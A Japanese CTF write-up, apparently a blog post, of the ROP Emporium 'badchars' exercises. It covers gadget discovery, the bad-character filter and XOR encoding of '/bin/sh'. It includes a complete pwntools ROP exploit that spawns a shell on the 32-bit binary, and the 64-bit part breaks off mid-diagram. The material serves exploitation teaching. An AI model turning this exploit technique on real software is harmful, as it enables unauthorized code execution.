ROP Emporium
ROPの練習問題集
解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。
writeup link
badchars32 writeup
32bitのELF実行ファイル。
とりあえず、実行してみる。
# file ./badchars32
./badchars32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=646a0ec0b6adaad4385d7845987e7001264db871, not stripped
#
#
#
# ./badchars32
badchars by ROP Emporium
32bits
badchars are: b i c / <space> f n s
> test
Exiting
#
badchars are: b i c / <space> f n s
のメッセージが出力される。
試しに、badcharsとして挙げられた文字を入力してみる。
特に出力に変化はない。
# ./badchars32
badchars by ROP Emporium
32bits
badchars are: b i c / <space> f n s
> bic/
Exiting
#
nmコマンドで実行ファイルのシンボル情報を確認する。
nm
# nm badchars32
0804a040 B __bss_start
08048801 t checkBadchars
0804a068 b completed.7200
0804a038 D __data_start
0804a038 W data_start
08048580 t deregister_tm_clones
080485f0 t __do_global_dtors_aux
08049f0c d __do_global_dtors_aux_fini_array_entry
0804a03c D __dso_handle
08049f14 d _DYNAMIC
0804a040 D _edata
0804a06c B _end
U exit@@GLIBC_2.0
U fgets@@GLIBC_2.0
08048904 T _fini
08048918 R _fp_hw
08048610 t frame_dummy
08049f08 d __frame_dummy_init_array_entry
08048b10 r __FRAME_END__
U free@@GLIBC_2.0
0804a000 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
0804897c r __GNU_EH_FRAME_HDR
08048440 T _init
08049f0c d __init_array_end
08049f08 d __init_array_start
0804891c R _IO_stdin_used
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
08049f10 d __JCR_END__
08049f10 d __JCR_LIST__
w _Jv_RegisterClasses
08048900 T __libc_csu_fini
080488a0 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
0804863b T main
U malloc@@GLIBC_2.0
U memcpy@@GLIBC_2.0
U memset@@GLIBC_2.0
080487c2 t nstrlen
U printf@@GLIBC_2.0
U puts@@GLIBC_2.0
080486b6 t pwnme
080485b0 t register_tm_clones
U setvbuf@@GLIBC_2.0
08048540 T _start
0804a040 B stderr@@GLIBC_2.0
0804a060 B stdin@@GLIBC_2.0
0804a064 B stdout@@GLIBC_2.0
U system@@GLIBC_2.0
0804a040 D __TMC_END__
080487a9 t usefulFunction
08048890 T usefulGadgets
08048570 T __x86.get_pc_thunk.bx
#
usefulFunction / usefulGadgetsというシンボルがある。
また、今までとは違いcheckBadcharsというシンボルがある。
gdbでbadchars32を解析していく。
canaryは今回も無効。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
nmコマンドで確認できたusefulFunction / usefulGadgetsを見てみる。
usefulFunctionは/bin/ls
を実行する関数。
gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
0x080487a9 <+0>: push ebp
0x080487aa <+1>: mov ebp,esp
0x080487ac <+3>: sub esp,0x8
0x080487af <+6>: sub esp,0xc
0x080487b2 <+9>: push 0x8048973
0x080487b7 <+14>: call 0x80484e0 <system@plt>
0x080487bc <+19>: add esp,0x10
0x080487bf <+22>: nop
0x080487c0 <+23>: leave
0x080487c1 <+24>: ret
End of assembler dump.
gdb-peda$
gdb-peda$ x/s 0x8048973
0x8048973: "/bin/ls"
gdb-peda$
usefulGadgetsの内容を確認する。
ROP Gadgetで使えそうなのは下記の4つ。
xor BYTE PTR [ebx],cl
mov DWORD PTR [edi],esi
pop ebx ; pop ecx
pop esi ; pop edi
gdb-peda$ pdis usefulGadgets
Dump of assembler code for function usefulGadgets:
0x08048890 <+0>: xor BYTE PTR [ebx],cl
0x08048892 <+2>: ret
0x08048893 <+3>: mov DWORD PTR [edi],esi
0x08048895 <+5>: ret
0x08048896 <+6>: pop ebx
0x08048897 <+7>: pop ecx
0x08048898 <+8>: ret
0x08048899 <+9>: pop esi
0x0804889a <+10>: pop edi
0x0804889b <+11>: ret
0x0804889c <+12>: xchg ax,ax
0x0804889e <+14>: xchg ax,ax
End of assembler dump.
gdb-peda$
pwnme関数の中でいままでの問題ではなかったcheckBadchars関数<pwnme +191>
が呼び出されている。
gdb-peda$ pdis pwnme
Dump of assembler code for function pwnme:
0x080486b6 <+0>: push ebp
0x080486b7 <+1>: mov ebp,esp
0x080486b9 <+3>: sub esp,0x38
0x080486bc <+6>: mov DWORD PTR [ebp-0x30],0x0
0x080486c3 <+13>: sub esp,0xc
0x080486c6 <+16>: push 0x200
0x080486cb <+21>: call 0x80484c0 <malloc@plt>
0x080486d0 <+26>: add esp,0x10
0x080486d3 <+29>: mov DWORD PTR [ebp-0x2c],eax
0x080486d6 <+32>: mov eax,DWORD PTR [ebp-0x2c]
0x080486d9 <+35>: test eax,eax
0x080486db <+37>: je 0x80486f5 <pwnme+63>
0x080486dd <+39>: mov eax,DWORD PTR [ebp-0x2c]
0x080486e0 <+42>: sub esp,0x4
0x080486e3 <+45>: push 0x200
0x080486e8 <+50>: push 0x0
0x080486ea <+52>: push eax
0x080486eb <+53>: call 0x8048520 <memset@plt>
0x080486f0 <+58>: add esp,0x10
0x080486f3 <+61>: jmp 0x80486ff <pwnme+73>
0x080486f5 <+63>: sub esp,0xc
0x080486f8 <+66>: push 0x1
0x080486fa <+68>: call 0x80484f0 <exit@plt>
0x080486ff <+73>: sub esp,0x4
0x08048702 <+76>: push 0x20
0x08048704 <+78>: push 0x0
0x08048706 <+80>: lea eax,[ebp-0x30]
0x08048709 <+83>: add eax,0x8
0x0804870c <+86>: push eax
0x0804870d <+87>: call 0x8048520 <memset@plt>
0x08048712 <+92>: add esp,0x10
0x08048715 <+95>: sub esp,0xc
0x08048718 <+98>: push 0x804894c
0x0804871d <+103>: call 0x80484d0 <puts@plt>
0x08048722 <+108>: add esp,0x10
0x08048725 <+111>: sub esp,0xc
0x08048728 <+114>: push 0x8048970
0x0804872d <+119>: call 0x8048480 <printf@plt>
0x08048732 <+124>: add esp,0x10
0x08048735 <+127>: mov edx,DWORD PTR ds:0x804a060
0x0804873b <+133>: mov eax,DWORD PTR [ebp-0x2c]
0x0804873e <+136>: sub esp,0x4
0x08048741 <+139>: push edx
0x08048742 <+140>: push 0x200
0x08048747 <+145>: push eax
0x08048748 <+146>: call 0x80484b0 <fgets@plt>
0x0804874d <+151>: add esp,0x10
0x08048750 <+154>: mov DWORD PTR [ebp-0x2c],eax
0x08048753 <+157>: mov eax,DWORD PTR [ebp-0x2c]
0x08048756 <+160>: sub esp,0x8
0x08048759 <+163>: push 0x200
0x0804875e <+168>: push eax
0x0804875f <+169>: call 0x80487c2 <nstrlen>
0x08048764 <+174>: add esp,0x10
0x08048767 <+177>: mov DWORD PTR [ebp-0x30],eax
0x0804876a <+180>: mov edx,DWORD PTR [ebp-0x30]
0x0804876d <+183>: mov eax,DWORD PTR [ebp-0x2c]
0x08048770 <+186>: sub esp,0x8
0x08048773 <+189>: push edx
0x08048774 <+190>: push eax
0x08048775 <+191>: call 0x8048801 <checkBadchars>
0x0804877a <+196>: add esp,0x10
0x0804877d <+199>: mov edx,DWORD PTR [ebp-0x30]
0x08048780 <+202>: mov eax,DWORD PTR [ebp-0x2c]
0x08048783 <+205>: sub esp,0x4
0x08048786 <+208>: push edx
0x08048787 <+209>: push eax
0x08048788 <+210>: lea eax,[ebp-0x30]
0x0804878b <+213>: add eax,0x8
0x0804878e <+216>: push eax
0x0804878f <+217>: call 0x80484a0 <memcpy@plt>
0x08048794 <+222>: add esp,0x10
0x08048797 <+225>: mov eax,DWORD PTR [ebp-0x2c]
0x0804879a <+228>: sub esp,0xc
0x0804879d <+231>: push eax
0x0804879e <+232>: call 0x8048490 <free@plt>
0x080487a3 <+237>: add esp,0x10
0x080487a6 <+240>: nop
0x080487a7 <+241>: leave
0x080487a8 <+242>: ret
End of assembler dump.
gdb-peda$
checkBadchars関数の内容を確認してみる。
gdb-peda$ pdis checkBadchars
Dump of assembler code for function checkBadchars:
0x08048801 <+0>: push ebp
0x08048802 <+1>: mov ebp,esp
0x08048804 <+3>: sub esp,0x10
0x08048807 <+6>: mov BYTE PTR [ebp-0x10],0x62
0x0804880b <+10>: mov BYTE PTR [ebp-0xf],0x69
0x0804880f <+14>: mov BYTE PTR [ebp-0xe],0x63
0x08048813 <+18>: mov BYTE PTR [ebp-0xd],0x2f
0x08048817 <+22>: mov BYTE PTR [ebp-0xc],0x20
0x0804881b <+26>: mov BYTE PTR [ebp-0xb],0x66
0x0804881f <+30>: mov BYTE PTR [ebp-0xa],0x6e
0x08048823 <+34>: mov BYTE PTR [ebp-0x9],0x73
0x08048827 <+38>: mov DWORD PTR [ebp-0x4],0x0
0x0804882e <+45>: mov DWORD PTR [ebp-0x8],0x0
0x08048835 <+52>: mov DWORD PTR [ebp-0x4],0x0
0x0804883c <+59>: jmp 0x804887c <checkBadchars+123>
0x0804883e <+61>: mov DWORD PTR [ebp-0x8],0x0
0x08048845 <+68>: jmp 0x8048872 <checkBadchars+113>
0x08048847 <+70>: mov edx,DWORD PTR [ebp+0x8]
0x0804884a <+73>: mov eax,DWORD PTR [ebp-0x4]
0x0804884d <+76>: add eax,edx
0x0804884f <+78>: movzx edx,BYTE PTR [eax]
0x08048852 <+81>: lea ecx,[ebp-0x10]
0x08048855 <+84>: mov eax,DWORD PTR [ebp-0x8]
0x08048858 <+87>: add eax,ecx
0x0804885a <+89>: movzx eax,BYTE PTR [eax]
0x0804885d <+92>: cmp dl,al
0x0804885f <+94>: jne 0x804886e <checkBadchars+109>
0x08048861 <+96>: mov edx,DWORD PTR [ebp+0x8]
0x08048864 <+99>: mov eax,DWORD PTR [ebp-0x4]
0x08048867 <+102>: add eax,edx
0x08048869 <+104>: mov BYTE PTR [eax],0xeb
0x0804886c <+107>: jmp 0x8048878 <checkBadchars+119>
0x0804886e <+109>: add DWORD PTR [ebp-0x8],0x1
0x08048872 <+113>: cmp DWORD PTR [ebp-0x8],0x7
0x08048876 <+117>: jbe 0x8048847 <checkBadchars+70>
0x08048878 <+119>: add DWORD PTR [ebp-0x4],0x1
0x0804887c <+123>: mov eax,DWORD PTR [ebp-0x4]
0x0804887f <+126>: cmp eax,DWORD PTR [ebp+0xc]
0x08048882 <+129>: jb 0x804883e <checkBadchars+61>
0x08048884 <+131>: nop
0x08048885 <+132>: leave
0x08048886 <+133>: ret
End of assembler dump.
gdb-peda$
<checkBadchars +6>から<checkBadchars +34>にかけてBadcharsとして挙げられた文字をstackに積んでいる。
<checkBadchars +92>でstackに積んだBadcharsと入力文字を比較している。
gdbでstep実行して動作を確認してくと、badcharに当たる文字を0xebに置き換えていることがわかる。
下の出力ではbintest
を入力値としたが、badcharが0xebになっている。
badchars by ROP Emporium
32bits
badchars are: b i c / <space> f n s
> bintest
[-------------------------------------code-------------------------------------]
0x8048788 <pwnme+210>: lea eax,[ebp-0x30]
0x804878b <pwnme+213>: add eax,0x8
0x804878e <pwnme+216>: push eax
=> 0x804878f <pwnme+217>: call 0x80484a0 <memcpy@plt>
0x8048794 <pwnme+222>: add esp,0x10
0x8048797 <pwnme+225>: mov eax,DWORD PTR [ebp-0x2c]
0x804879a <pwnme+228>: sub esp,0xc
0x804879d <pwnme+231>: push eax
Guessed arguments:
arg[0]: 0xffffd290 --> 0x0
arg[1]: 0x804b160 --> 0x74ebebeb
arg[2]: 0x8
gdb-peda$ x/12 0x804b160
0x804b160: 0x74ebebeb 0x0a74eb65 0x00000000 0x00000000
0x804b170: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b180: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$
write4の問題ではsystem(/bin/sh)
を呼び出すためにpayloadに/bin/sh
の文字を含んでいたが、今回はその文字が0xebに置き換えられてしまう。
問題文にもあるようにXORを使って、checkBadchars関数をすり抜けるようにROPをつくる必要がある。
Moar XOR
作成したROPは以下の通り処理を行う。
- メモリ上に
'/bin/sh' ^ 0xff
の値を格納する。 -
pop ecx
でclに0xffを格納する。 -
('/bin/sh' ^ 0xff) ^ 0xff
を1文字ずつ計算し、メモリ上に/bin/sh
の文字を作成する。
XORでは第一引数に処理結果が格納される。 - 作成した
/bin/sh
を引数としてsystemを実行する。
+--------------------+
| dummy |
+--------------------+
| pop esi ; pop edi |
+--------------------+
| /bin ^ f0xff |
+--------------------+
| write address |
+--------------------+
| mov [edi],esi |
+--------------------+
| pop esi ; pop edi |
+--------------------+
| /sh ^ f0xff |
+--------------------+
| write address +4 |
+--------------------+
+--------------------+
| pop ecx |
+--------------------+
| 0xff ff ff ff |
+--------------------+
+--------------------+
| pop ebx |
+--------------------+
| write address |
+--------------------+
| xor [ebx] cl |
+--------------------+
| pop ebx |
+--------------------+
| write address +1 |
+--------------------+
| xor [ebx] cl |
+--------------------+
| pop ebx |
+--------------------+
| write address +2 |
+--------------------+
| xor [ebx] cl |
+--------------------+
| pop ebx |
+--------------------+
| write address +3 |
+--------------------+
| xor [ebx] cl |
+--------------------+
| pop ebx |
+--------------------+
| write address +4 |
+--------------------+
| xor [ebx] cl |
+--------------------+
| pop ebx |
+--------------------+
| write address +5 |
+--------------------+
| xor [ebx] cl |
+--------------------+
+--------------------+
| system@plt |
+--------------------+
| dummy |
+--------------------+
| write address |
+--------------------+
/bin/sh
を書き込むメモリのアドレスをどこにするかはwrite4を参考にして決定。
gdb-peda$ readelf
.interp = 0x8048154
.note.ABI-tag = 0x8048168
.note.gnu.build-id = 0x8048188
.gnu.hash = 0x80481ac
.dynsym = 0x80481dc
.dynstr = 0x80482ac
.gnu.version = 0x804832e
.gnu.version_r = 0x8048348
.rel.dyn = 0x8048368
.rel.plt = 0x8048388
.init = 0x80483c0
.plt = 0x80483f0
.plt.got = 0x8048470
.text = 0x8048480
.fini = 0x80486e4
.rodata = 0x80486f8
.eh_frame_hdr = 0x804875c
.eh_frame = 0x8048798
.init_array = 0x8049f08
.fini_array = 0x8049f0c
.jcr = 0x8049f10
.dynamic = 0x8049f14
.got = 0x8049ffc
.got.plt = 0x804a000
.data = 0x804a028
.bss = 0x804a040
gdb-peda$
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x08049000 r-xp /root/ROP_Emporium/write432/write432
0x08049000 0x0804a000 r--p /root/ROP_Emporium/write432/write432
0x0804a000 0x0804b000 rw-p /root/ROP_Emporium/write432/write432
0xf7dda000 0xf7df7000 r--p /usr/lib32/libc-2.29.so
0xf7df7000 0xf7f42000 r-xp /usr/lib32/libc-2.29.so
0xf7f42000 0xf7faf000 r--p /usr/lib32/libc-2.29.so
0xf7faf000 0xf7fb1000 r--p /usr/lib32/libc-2.29.so
0xf7fb1000 0xf7fb3000 rw-p /usr/lib32/libc-2.29.so
0xf7fb3000 0xf7fb5000 rw-p mapped
0xf7fce000 0xf7fd0000 rw-p mapped
0xf7fd0000 0xf7fd3000 r--p [vvar]
0xf7fd3000 0xf7fd4000 r-xp [vdso]
0xf7fd4000 0xf7fd5000 r--p /usr/lib32/ld-2.29.so
0xf7fd5000 0xf7ff1000 r-xp /usr/lib32/ld-2.29.so
0xf7ff1000 0xf7ffb000 r--p /usr/lib32/ld-2.29.so
0xf7ffc000 0xf7ffd000 r--p /usr/lib32/ld-2.29.so
0xf7ffd000 0xf7ffe000 rw-p /usr/lib32/ld-2.29.so
0xfffdd000 0xffffe000 rw-p [stack]
gdb-peda$
書き込み権限があるbss領域をwrite addressとして使用する。
from pwn import *
conn = process('./badchars32')
system_addr=0x80484e0 # system@plt
xor_addr=0x08048890 # xor BYTE PTR [ebx],cl ; ret
mov_edi_esi_addr=0x08048893 # mov DWORD PTR [edi],esi ; ret
pop_esi_edi_addr=0x08048899 # pop esi ; pop edi ; ret
pop_ecx_addr=0x08048897 # pop ecx ; ret
pop_ebx_addr=0x08048461 # pop ebx ; ret
write_mem_addr=0x804a038
payload = 'A'*44
payload += p32(pop_esi_edi_addr)
payload += '\xd0\x9d\x96\x91'
payload += p32(write_mem_addr)
payload += p32(mov_edi_esi_addr)
payload += p32(pop_esi_edi_addr)
payload += '\xd0\x8ch\x00'
payload += p32(write_mem_addr+4)
payload += p32(mov_edi_esi_addr)
payload += p32(pop_ecx_addr)
payload += '\xff\xff\xff\xff'
payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr)
payload += p32(xor_addr)
payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+1)
payload += p32(xor_addr)
payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+2)
payload += p32(xor_addr)
payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+3)
payload += p32(xor_addr)
payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+4)
payload += p32(xor_addr)
payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+5)
payload += p32(xor_addr)
payload += p32(system_addr)
payload += 'A'*4
payload += p32(write_mem_addr)
conn.sendline(payload)
conn.interactive()
# python badchars32.py
[+] Starting local process './badchars32': pid 5681
[*] Paused (press any to continue)
[*] Switching to interactive mode
badchars by ROP Emporium
32bits
badchars are: b i c / <space> f n s
>$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$
badchars writeup
badcharsの64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。
# file badchars
badchars: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=adf195423b8ae2d246a212e0054f33e631ae0cd2, not stripped
#
#
# ./badchars
badchars by ROP Emporium
64bits
badchars are: b i c / <space> f n s
> test
Exiting
#
badchars are: b i c / <space> f n s
のメッセージが出力される。
試しに、badcharsとして挙げられた文字を入力してみる。
特に出力に変化はない。
# ./badchars
badchars by ROP Emporium
64bits
badchars are: b i c / <space> f n s
> bic/
Exiting
#
nmコマンドで実行ファイルのシンボル情報を確認する。
nm
# nm ./badchars
0000000000601080 B __bss_start
0000000000400a40 t checkBadchars
00000000006010a8 b completed.7585
0000000000601070 D __data_start
0000000000601070 W data_start
00000000004007c0 t deregister_tm_clones
0000000000400840 t __do_global_dtors_aux
0000000000600e18 d __do_global_dtors_aux_fini_array_entry
0000000000601078 D __dso_handle
0000000000600e28 d _DYNAMIC
0000000000601080 D _edata
00000000006010b0 B _end
U exit@@GLIBC_2.2.5
U fgets@@GLIBC_2.2.5
0000000000400bc4 T _fini
0000000000400860 t frame_dummy
0000000000600e10 d __frame_dummy_init_array_entry
0000000000400e00 r __FRAME_END__
U free@@GLIBC_2.2.5
0000000000601000 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
0000000000400c38 r __GNU_EH_FRAME_HDR
0000000000400698 T _init
0000000000600e18 d __init_array_end
0000000000600e10 d __init_array_start
0000000000400bd0 R _IO_stdin_used
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
0000000000600e20 d __JCR_END__
0000000000600e20 d __JCR_LIST__
w _Jv_RegisterClasses
0000000000400bc0 T __libc_csu_fini
0000000000400b50 T __libc_csu_init
U __libc_start_main@@GLIBC_2.2.5
0000000000400886 T main
U malloc@@GLIBC_2.2.5
U memcpy@@GLIBC_2.14
U memset@@GLIBC_2.2.5
00000000004009f0 t nstrlen
U printf@@GLIBC_2.2.5
U puts@@GLIBC_2.2.5
00000000004008f5 t pwnme
0000000000400800 t register_tm_clones
U setvbuf@@GLIBC_2.2.5
0000000000400790 T _start
00000000006010a0 B stderr@@GLIBC_2.2.5
0000000000601090 B stdin@@GLIBC_2.2.5
0000000000601080 B stdout@@GLIBC_2.2.5
U system@@GLIBC_2.2.5
0000000000601080 D __TMC_END__
00000000004009df t usefulFunction
0000000000400b30 T usefulGadgets
#
usefulFunction / usefulGadgetsというシンボルがある。
また、今までとは違いcheckBadcharsというシンボルがある。
gdbでbadcharsを解析していく。
canaryは今回も無効。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
nmコマンドで確認できたusefulFunction / usefulGadgetsを見てみる。
usefulFunctionは/bin/ls
を実行する関数。
Dump of assembler code for function usefulFunction:
0x00000000004009df <+0>: push rbp
0x00000000004009e0 <+1>: mov rbp,rsp
0x00000000004009e3 <+4>: mov edi,0x400c2f
0x00000000004009e8 <+9>: call 0x4006f0 <system@plt>
0x00000000004009ed <+14>: nop
0x00000000004009ee <+15>: pop rbp
0x00000000004009ef <+16>: ret
End of assembler dump.
gdb-peda$
gdb-peda$ x/s 0x400c2f
0x400c2f: "/bin/ls"
gdb-peda$
usefulGadgetsの内容を確認する。
ROP Gadgetで使えそうなのは下記の5つ。
xor BYTE PTR [r15],r14b
mov QWORD PTR [r13+0x0],r12
pop rdi
pop r12; pop r13
pop r14; pop r15
gdb-peda$ pdis usefulGadgets
Dump of assembler code for function usefulGadgets:
0x0000000000400b30 <+0>: xor BYTE PTR [r15],r14b
0x0000000000400b33 <+3>: ret
0x0000000000400b34 <+4>: mov QWORD PTR [r13+0x0],r12
0x0000000000400b38 <+8>: ret
0x0000000000400b39 <+9>: pop rdi
0x0000000000400b3a <+10>: ret
0x0000000000400b3b <+11>: pop r12
0x0000000000400b3d <+13>: pop r13
0x0000000000400b3f <+15>: ret
0x0000000000400b40 <+16>: pop r14
0x0000000000400b42 <+18>: pop r15
0x0000000000400b44 <+20>: ret
0x0000000000400b45 <+21>: nop WORD PTR cs:[rax+rax*1+0x0]
0x0000000000400b4f <+31>: nop
End of assembler dump.
gdb-peda$
pwnme関数の中でいままでの問題ではなかったcheckBadchars関数<pwnme +187>
が呼び出されている。
gdb-peda$ pdis pwnme
Dump of assembler code for function pwnme:
0x00000000004008f5 <+0>: push rbp
0x00000000004008f6 <+1>: mov rbp,rsp
0x00000000004008f9 <+4>: sub rsp,0x30
0x00000000004008fd <+8>: mov QWORD PTR [rbp-0x30],0x0
0x0000000000400905 <+16>: mov edi,0x200
0x000000000040090a <+21>: call 0x400750 <malloc@plt>
0x000000000040090f <+26>: mov QWORD PTR [rbp-0x28],rax
0x0000000000400913 <+30>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400917 <+34>: test rax,rax
0x000000000040091a <+37>: je 0x400934 <pwnme+63>
0x000000000040091c <+39>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400920 <+43>: mov edx,0x200
0x0000000000400925 <+48>: mov esi,0x0
0x000000000040092a <+53>: mov rdi,rax
0x000000000040092d <+56>: call 0x400710 <memset@plt>
0x0000000000400932 <+61>: jmp 0x40093e <pwnme+73>
0x0000000000400934 <+63>: mov edi,0x1
0x0000000000400939 <+68>: call 0x400770 <exit@plt>
0x000000000040093e <+73>: lea rax,[rbp-0x30]
0x0000000000400942 <+77>: add rax,0x10
0x0000000000400946 <+81>: mov edx,0x20
0x000000000040094b <+86>: mov esi,0x0
0x0000000000400950 <+91>: mov rdi,rax
0x0000000000400953 <+94>: call 0x400710 <memset@plt>
0x0000000000400958 <+99>: mov edi,0x400c08
0x000000000040095d <+104>: call 0x4006e0 <puts@plt>
0x0000000000400962 <+109>: mov edi,0x400c2c
0x0000000000400967 <+114>: mov eax,0x0
0x000000000040096c <+119>: call 0x400700 <printf@plt>
0x0000000000400971 <+124>: mov rdx,QWORD PTR [rip+0x200718] # 0x601090 <stdin@@GLIBC_2.2.5>
0x0000000000400978 <+131>: mov rax,QWORD PTR [rbp-0x28]
0x000000000040097c <+135>: mov esi,0x200
0x0000000000400981 <+140>: mov rdi,rax
0x0000000000400984 <+143>: call 0x400730 <fgets@plt>
0x0000000000400989 <+148>: mov QWORD PTR [rbp-0x28],rax
0x000000000040098d <+152>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400991 <+156>: mov esi,0x200
0x0000000000400996 <+161>: mov rdi,rax
0x0000000000400999 <+164>: call 0x4009f0 <nstrlen>
0x000000000040099e <+169>: mov QWORD PTR [rbp-0x30],rax
0x00000000004009a2 <+173>: mov rdx,QWORD PTR [rbp-0x30]
0x00000000004009a6 <+177>: mov rax,QWORD PTR [rbp-0x28]
0x00000000004009aa <+181>: mov rsi,rdx
0x00000000004009ad <+184>: mov rdi,rax
0x00000000004009b0 <+187>: call 0x400a40 <checkBadchars>
0x00000000004009b5 <+192>: mov rdx,QWORD PTR [rbp-0x30]
0x00000000004009b9 <+196>: mov rax,QWORD PTR [rbp-0x28]
0x00000000004009bd <+200>: lea rcx,[rbp-0x30]
0x00000000004009c1 <+204>: add rcx,0x10
0x00000000004009c5 <+208>: mov rsi,rax
0x00000000004009c8 <+211>: mov rdi,rcx
0x00000000004009cb <+214>: call 0x400740 <memcpy@plt>
0x00000000004009d0 <+219>: mov rax,QWORD PTR [rbp-0x28]
0x00000000004009d4 <+223>: mov rdi,rax
0x00000000004009d7 <+226>: call 0x4006d0 <free@plt>
0x00000000004009dc <+231>: nop
0x00000000004009dd <+232>: leave
0x00000000004009de <+233>: ret
End of assembler dump.
gdb-peda$
checkBadchars関数の内容を確認してみる。
gdb-peda$ pdis checkBadchars
Dump of assembler code for function checkBadchars:
0x0000000000400a40 <+0>: push rbp
0x0000000000400a41 <+1>: mov rbp,rsp
0x0000000000400a44 <+4>: mov QWORD PTR [rbp-0x28],rdi
0x0000000000400a48 <+8>: mov QWORD PTR [rbp-0x30],rsi
0x0000000000400a4c <+12>: mov BYTE PTR [rbp-0x20],0x62
0x0000000000400a50 <+16>: mov BYTE PTR [rbp-0x1f],0x69
0x0000000000400a54 <+20>: mov BYTE PTR [rbp-0x1e],0x63
0x0000000000400a58 <+24>: mov BYTE PTR [rbp-0x1d],0x2f
0x0000000000400a5c <+28>: mov BYTE PTR [rbp-0x1c],0x20
0x0000000000400a60 <+32>: mov BYTE PTR [rbp-0x1b],0x66
0x0000000000400a64 <+36>: mov BYTE PTR [rbp-0x1a],0x6e
0x0000000000400a68 <+40>: mov BYTE PTR [rbp-0x19],0x73
0x0000000000400a6c <+44>: mov QWORD PTR [rbp-0x8],0x0
0x0000000000400a74 <+52>: mov QWORD PTR [rbp-0x10],0x0
0x0000000000400a7c <+60>: mov QWORD PTR [rbp-0x8],0x0
0x0000000000400a84 <+68>: jmp 0x400ad1 <checkBadchars+145>
0x0000000000400a86 <+70>: mov QWORD PTR [rbp-0x10],0x0
0x0000000000400a8e <+78>: jmp 0x400ac5 <checkBadchars+133>
0x0000000000400a90 <+80>: mov rdx,QWORD PTR [rbp-0x28]
0x0000000000400a94 <+84>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400a98 <+88>: add rax,rdx
0x0000000000400a9b <+91>: movzx edx,BYTE PTR [rax]
0x0000000000400a9e <+94>: lea rcx,[rbp-0x20]
0x0000000000400aa2 <+98>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400aa6 <+102>: add rax,rcx
0x0000000000400aa9 <+105>: movzx eax,BYTE PTR [rax]
0x0000000000400aac <+108>: cmp dl,al
0x0000000000400aae <+110>: jne 0x400ac0 <checkBadchars+128>
0x0000000000400ab0 <+112>: mov rdx,QWORD PTR [rbp-0x28]
0x0000000000400ab4 <+116>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400ab8 <+120>: add rax,rdx
0x0000000000400abb <+123>: mov BYTE PTR [rax],0xeb
0x0000000000400abe <+126>: jmp 0x400acc <checkBadchars+140>
0x0000000000400ac0 <+128>: add QWORD PTR [rbp-0x10],0x1
0x0000000000400ac5 <+133>: cmp QWORD PTR [rbp-0x10],0x7
0x0000000000400aca <+138>: jbe 0x400a90 <checkBadchars+80>
0x0000000000400acc <+140>: add QWORD PTR [rbp-0x8],0x1
0x0000000000400ad1 <+145>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400ad5 <+149>: cmp rax,QWORD PTR [rbp-0x30]
0x0000000000400ad9 <+153>: jb 0x400a86 <checkBadchars+70>
0x0000000000400adb <+155>: nop
0x0000000000400adc <+156>: pop rbp
0x0000000000400add <+157>: ret
End of assembler dump.
gdb-peda$
<checkBadchars +12>から<checkBadchars +40>にかけてBadcharsとして挙げられた文字をstackに積んでいる。
<checkBadchars +108>でstackに積んだBadcharsと入力文字を比較している。
gdbでstep実行して動作を確認してくと、badcharに当たる文字を0xebに置き換えていることがわかる。
下の出力ではbintest
を入力値としたが、badcharが0xebになっている
gdb-peda$ c
badchars by ROP Emporium
64bits
badchars are: b i c / <space> f n s
> bintest
[-------------------------------------code-------------------------------------]
0x4009c1 <pwnme+204>: add rcx,0x10
0x4009c5 <pwnme+208>: mov rsi,rax
0x4009c8 <pwnme+211>: mov rdi,rcx
=> 0x4009cb <pwnme+214>: call 0x400740 <memcpy@plt>
0x4009d0 <pwnme+219>: mov rax,QWORD PTR [rbp-0x28]
0x4009d4 <pwnme+223>: mov rdi,rax
0x4009d7 <pwnme+226>: call 0x4006d0 <free@plt>
0x4009dc <pwnme+231>: nop
Guessed arguments:
arg[0]: 0x7fffffffe100 --> 0x0
arg[1]: 0x602260 --> 0xa74eb6574ebebeb
arg[2]: 0x8
arg[3]: 0x7fffffffe100 --> 0x0
write4の問題ではsystem(/bin/sh)
を呼び出すためにpayloadに/bin/sh
の文字を含んでいたが、今回はその文字が0xebに置き換えられてしまう。
問題文にもあるようにXORを使って、checkBadchars関数をすり抜けるようにROPをつくる必要がある。
Moar XOR
作成したROPは以下の通り処理を行う。
- メモリ上に
'/bin/sh' ^ 0xff
の値を格納する。 -
('/bin/sh' ^ 0xff) ^ 0xff
を1文字ずつ計算し、メモリ上に/bin/sh
の文字を作成する。
XORでは第一引数に処理結果が格納される。 - 作成した
/bin/sh
を引数としてsystemを実行する。
+--------------------+
| dummy |
+--------------------+
| pop r12 ; pop r13 |
+--------------------+
| /bin/sh ^ f0xff |
+--------------------+
| write address |
+--------------------+
| mov [r13],r12 |
+--------------------+
+--------------------+
